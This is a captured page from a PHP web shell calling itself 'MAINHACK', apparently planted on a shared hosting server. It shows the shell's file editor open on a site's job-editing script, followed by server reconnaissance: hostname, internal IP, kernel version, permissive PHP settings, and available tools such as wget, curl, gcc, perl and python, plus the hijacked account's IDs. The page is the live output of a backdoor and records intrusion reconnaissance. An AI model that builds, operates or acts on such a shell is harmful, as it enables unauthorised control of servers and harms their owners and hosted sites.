[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit_job.php
<?php include 'header.php' ; $show=new Oops($db); ?> <?php $count=1; $stmt =$show->readwithdata('job','id',$_REQUEST['id']); $num = $stmt->rowCount(); if($num>0){ while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; $uid=$row['client_id']; $title=$row['title']; $description=$row['description']; } } ?> <div id="page-wrapper"> <div class="main-page"> <div class="row"> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> <div class="form-title"> <h4>Job Edit :</h4> </div> <div class="form-body"> <form method="post" enctype="multipart/form-data"> <div class="col-md-4"> <div class="form-group"> <label>Job Title</label> <input type="text" class="form-control" id="com_name" name="title" value="<?=$title?>" placeholder="Company Name"> </div> </div> <div class="col-md-8"> <div class="form-group"> <label>Job Description</label> <textarea class="form-control" id="description" name="description" placeholder="Job Description"><?=$description?></textarea> </div> </div> <button type="submit" class="btn btn-info btn-fill pull-right" name="sub">Submit</button> <div class="clearfix"></div> </form> <?php if(isset($_POST['sub'])){ $table='job'; $allowed = ["title","description"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars(strip_tags($_POST[$key])); } } $setStr = rtrim($setStr, ","); $params['id'] =$_REQUEST['id']; $show->table ='job'; $show->cols =$setStr; $show->id_name ='id'; $show->params =$params; if($show->update_all()){ echo "<script>alert('job has been updated');window.location.href='".$_SERVER['request_uri']."'</script>"; } else{ echo "ss"; } } ?> </div> </div> </div> </div> </div> <?php include 'footer.php' ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619